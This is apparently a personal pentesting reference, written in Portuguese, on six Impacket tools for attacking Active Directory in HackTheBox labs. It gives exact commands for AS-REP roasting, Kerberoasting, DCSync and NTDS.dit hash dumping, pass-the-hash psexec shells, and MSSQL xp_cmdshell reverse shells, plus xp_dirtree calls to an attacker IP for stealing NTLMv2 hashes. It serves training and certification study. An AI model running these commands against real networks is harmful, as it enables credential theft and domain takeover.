Impacket é uma coleção de ferramentas Python pra trabalhar com protocolos de rede. Na prática, pra pentesting AD, eu uso umas 6 delas constantemente. Essa é uma referência pra essas 6 — o que fazem, quando usar, e os comandos exatos que eu rodo.

Instalado no Kali por padrão. Toda ferramenta é prefixada com impacket-.


impacket-GetNPUsers — AS-REP Roasting

O que faz: Encontra contas com pré-autenticação Kerberos desabilitada e dumpa os hashes AS-REP. Não precisa de credenciais — você só precisa de uma lista de usernames válidos.

Quando usar: Primeira coisa que eu tento em qualquer box AD. Antes de brute-force, antes de qualquer coisa. Se pre-auth tá desabilitada numa conta, você pega o hash de graça.

Uso Básico

# Com lista de usernames (sem creds)
impacket-GetNPUsers DOMAIN.local/ -dc-ip $ip -usersfile users.txt -format hashcat -outputfile asrep.txt

# Com creds válidas (enumera todos os usuários vulneráveis automaticamente)
impacket-GetNPUsers DOMAIN.local/user:'password' -dc-ip $ip -request -format hashcat -outputfile asrep.txt

Flags Importantes

FlagO que faz
-usersfileLista de usernames pra testar (um por linha)
-format hashcatSaída no formato hashcat (mode 18200). Use -format john pro john
-outputfileSalvar hashes em arquivo
-requestRealmente solicitar o TGT (necessário quando usando creds)
-dc-ipIP do DC alvo

Crackeando o Hash

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Pegadinhas

  • Variante sem creds precisa de lista de usernames. Você tem que enumerar usernames primeiro — SMB null session, LDAP, kerbrute, o que for.
  • Variante com creds encontra todas as contas vulneráveis automaticamente. Não precisa de lista de usernames.
  • Ao salvar hashes com echo, use aspas simples. Aspas duplas corrompem os caracteres $ no hash. Perdi tempo debugando isso no Forest.

Onde Eu Usei

  • Forest — AS-REP Roast no svc-alfresco sem creds. Peguei o hash, crackou pra s3rvice. Esse foi o foothold inteiro.
  • Blackfield — Mesma coisa. Coletei ~300 usernames da share profiles$ no SMB, alimentei no GetNPUsers, peguei o hash da conta support.

impacket-GetUserSPNs — Kerberoasting

O que faz: Encontra contas com SPNs (Service Principal Names) e solicita os tickets TGS. O ticket é encriptado com o hash da senha da conta — cracka o ticket, cracka a senha.

Quando usar: Uma vez que você tenha qualquer credencial de domínio válida. Qualquer usuário autenticado pode fazer Kerberoast. Sempre vale rodar.

Uso Básico

# Enumerar SPNs apenas
impacket-GetUserSPNs DOMAIN.local/user:'password' -dc-ip $ip

# Enumerar E solicitar tickets
impacket-GetUserSPNs DOMAIN.local/user:'password' -dc-ip $ip -request -outputfile kerberoast.txt

Flags Importantes

FlagO que faz
-requestRealmente solicitar os tickets TGS (sem isso, só lista SPNs)
-outputfileSalvar hashes em arquivo
-dc-ipIP do DC alvo

Crackeando o Hash

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# ou
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt

Pegadinhas

  • Você precisa de creds válidas primeiro. Diferente do AS-REP Roasting, Kerberoasting requer autenticação.
  • Machine accounts e managed service accounts geralmente têm senhas aleatórias de 128 caracteres. Foque em contas de usuário com SPNs — essas são as com senhas crackáveis.
  • -request é fácil de esquecer. Sem ela você só pega uma lista de SPNs, não os hashes reais.

Onde Eu Usei

  • Active — Depois de pegar creds do SVC_TGS via GPP, Kerberoast na conta Administrator. SPN era active/CIFS:445. Crackou pra Ticketmaster1968. Game over.

impacket-secretsdump — DCSync, SAM, NTDS.dit

O que faz: Dumpa credenciais. Essa ferramenta faz múltiplas coisas dependendo do que você alimenta:

  • DCSync remoto — imita uma requisição de replicação de domain controller pra puxar todos os hashes do domínio
  • SAM dump local — extrai hashes das hives de registry SAM + SYSTEM
  • NTDS.dit dump local — extrai hashes do arquivo de banco de dados do AD

DCSync Remoto

# Com senha
impacket-secretsdump DOMAIN.local/user:'password'@$ip

# Com hash NTLM (pass-the-hash)
impacket-secretsdump DOMAIN.local/user@$ip -hashes :NTLM_HASH

Requer direitos de DCSync — ou seja Replicating Directory Changes + Replicating Directory Changes All. Domain Admins têm isso por padrão. No Forest, eu concedi esses direitos ao svc-alfresco via abuso de WriteDACL antes de rodar secretsdump.

NTDS.dit Dump Local

impacket-secretsdump -ntds ntds.dit -system system LOCAL

Quando você já pegou os arquivos NTDS.dit e hive SYSTEM (via VSS snapshot, robocopy, o que for), isso faz parse offline. Sem necessidade de conexão de rede.

Flags Importantes

FlagO que faz
-ntdsCaminho pro arquivo NTDS.dit
-systemCaminho pra hive de registry SYSTEM
-hashesAutenticação pass-the-hash (formato :NTLM_HASH — hash LM vazio)
-just-dc-ntlmSó dumpar hashes NTLM (mais rápido, menos barulhento)
-just-dc-user USERSó dumpar um usuário específico
LOCALFazer parse de arquivos locais em vez de conectar remotamente

Pegadinhas

  • DCSync remoto é barulhento. Gera eventos Windows específicos (4662 com GUIDs de replicação). Num engagement real, analistas SOC (tipo o eu antigo) iam flaggar isso. Use -just-dc-ntlm ou -just-dc-user pra minimizar barulho.
  • O formato do hash na saída é LM:NTLM. Pra pass-the-hash você só precisa da parte NTLM (depois do segundo dois-pontos).
  • Pra parse local, você precisa de ambos NTDS.dit e SYSTEM. SYSTEM contém a boot key necessária pra descriptografar os hashes.

Onde Eu Usei

  • Forest — DCSync remoto depois de conceder direitos DCSync ao svc-alfresco via WriteDACL. impacket-secretsdump htb.local/svc-alfresco:'s3rvice'@$ip puxou o hash NTLM do Administrator.
  • Blackfield — NTDS.dit dump local. Peguei ntds.dit + SYSTEM via VSS snapshot e robocopy /b, depois impacket-secretsdump -ntds ntds.dit -system system LOCAL. Peguei todo hash do domínio.

impacket-psexec — Shell com Creds

O que faz: Te dá uma shell SYSTEM numa box Windows remota usando credenciais válidas. Funciona por SMB (porta 445). Faz upload de um binário de serviço, cria um serviço Windows, inicia, te dá shell, limpa na saída.

Uso Básico

# Com senha
impacket-psexec DOMAIN.local/Administrator:'password'@$ip

# Com hash NTLM
impacket-psexec DOMAIN.local/Administrator@$ip -hashes :NTLM_HASH

Flags Importantes

FlagO que faz
-hashesPass-the-hash (formato :NTLM_HASH)
-target-ipÚtil quando resolução de hostname tá estranha

Pegadinhas

  • Requer creds nível admin e acesso de escrita nas shares ADMIN$ ou C$. Creds de usuário de domínio comum não funcionam.
  • Cria um serviço Windows — isso é detectável. AV/EDR pode flaggar. Pro OSCP, não importa. Pra engagements reais, considere alternativas como evil-winrm (WinRM, porta 5985) ou impacket-wmiexec.
  • A shell te dropa como NT AUTHORITY\SYSTEM, não como o usuário que você autenticou.
  • Se travar ou falhar, o serviço pode não ter sido limpo. Tentativas subsequentes podem falhar até o serviço ser removido.

Alternativas

FerramentaProtocoloStealthNotas
impacket-psexecSMB (445)BaixoCria serviço, shell SYSTEM
impacket-wmiexecWMI (135)MédioSem criação de serviço, roda como o usuário
impacket-smbexecSMB (445)MédioUsa serviço mas diferente
evil-winrmWinRM (5985)MaiorPowerShell, precisa WinRM habilitado

Onde Eu Usei

  • Activeimpacket-psexec active.htb/Administrator:'Ticketmaster1968'@$ip pra shell final depois do Kerberoasting.

impacket-mssqlclient — Acesso MSSQL

O que faz: Cliente MSSQL interativo. Conectar ao Microsoft SQL Server, rodar queries, habilitar e usar xp_cmdshell pra execução de comandos do SO.

Uso Básico

# Autenticação Windows
impacket-mssqlclient user:'password'@$ip -windows-auth

# Autenticação SQL (padrão)
impacket-mssqlclient user:'password'@$ip

Comandos Built-in

Uma vez conectado, esses são os comandos chave:

-- Checar se você é sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin')

-- Habilitar xp_cmdshell (só sysadmin)
enable_xp_cmdshell

-- Rodar comandos do SO
xp_cmdshell 'whoami'

-- Reverse shell
xp_cmdshell 'powershell -e <BASE64_PAYLOAD>'

-- Roubar hash NTLMv2 (funciona mesmo sem sysadmin)
xp_dirtree '\\SEU_IP\share'

Flags Importantes

FlagO que faz
-windows-authUsar autenticação Windows/domínio em vez de SQL auth
-portPorta customizada se MSSQL não tá na 1433

Pegadinhas

  • -windows-auth importa. SQL auth e Windows auth são diferentes. Se um falhar, tente o outro. No Querier, a conexão falhou sem -windows-auth.
  • Senhas com $ precisam de aspas simples no bash. 'PcwTWTHRwryjc$c6' funciona. "PcwTWTHRwryjc$c6" não — bash interpreta $c6 como variável e corrompe a senha.
  • enable_xp_cmdshell requer role sysadmin. Se seu usuário não é sysadmin, o comando falha silenciosamente ou dá erro. Use xp_dirtree + Responder pra roubar o hash NTLMv2 da service account.
  • xp_dirtree + Responder é o fallback quando xp_cmdshell é negado. O SQL server faz uma conexão SMB pra sua máquina e o Responder captura o hash. Hashcat mode 5600 pra NTLMv2.

Onde Eu Usei

  • Querier — Conectei com creds da macro VBA usando -windows-auth. Usuário reporting não podia rodar xp_cmdshell, então usei xp_dirtree + Responder pra roubar o hash NTLMv2 da service account. Crackou, reconectei como sysadmin, habilitei xp_cmdshell, peguei shell.

impacket-smbclient — Acesso a Arquivos SMB

O que faz: Cliente SMB interativo pra navegar e baixar arquivos de shares. Similar ao smbclient do Samba mas usa a stack de autenticação do Impacket.

Uso Básico

# Com senha
impacket-smbclient DOMAIN.local/user:'password'@$ip

# Com hash NTLM
impacket-smbclient DOMAIN.local/user@$ip -hashes :NTLM_HASH

# Null session
impacket-smbclient DOMAIN.local/''@$ip -no-pass

Comandos Principais

shares          # Listar shares disponíveis
use SHARE_NAME  # Conectar numa share
ls              # Listar arquivos
get file.txt    # Baixar arquivo
cd directory    # Mudar diretório

Pegadinhas

  • Eu geralmente uso smbclient (o do Samba) ou nxc smb --shares pra enumeração inicial. O smbclient do Impacket é útil quando preciso da autenticação do Impacket (pass-the-hash, tickets Kerberos).
  • Pra downloads de arquivos grandes, smbclient do Samba é mais confiável. A versão do Impacket pode engasgar com arquivos grandes.

Referência Rápida — Quando Usar O Quê

SituaçãoFerramentaPrecisa de Creds?
Checar usuários AS-REP Roastableimpacket-GetNPUsersNão (com lista de usuários)
Checar usuários Kerberoastableimpacket-GetUserSPNsSim
Dumpar todos os hashes do domínio (DCSync)impacket-secretsdumpSim (direitos DCSync)
Parse de NTDS.dit offlineimpacket-secretsdump -ntds ... LOCALNão
Pegar shell SYSTEMimpacket-psexecSim (admin)
Conectar ao MSSQLimpacket-mssqlclientSim
Navegar shares SMBimpacket-smbclientDepende

Minha Ordem de Recon AD

Essa é mais ou menos a ordem que eu rodo essas ferramentas numa box AD:

  1. GetNPUsers — AS-REP Roast primeiro. Sem creds necessárias. Hashes grátis se algo for vulnerável.
  2. GetUserSPNs — Kerberoast uma vez que eu tenha qualquer creds válidas.
  3. secretsdump — DCSync se eu conseguir Domain Admin ou direitos DCSync.
  4. psexec — Shell final com o hash ou senha de admin.

Todo o resto (mssqlclient, smbclient) é usado quando a box pede.

O padrão em toda box AD que eu fiz: enumerar usuários -> AS-REP Roast -> pegar primeiras creds -> BloodHound -> achar o caminho -> seguir o caminho -> secretsdump -> psexec -> feito.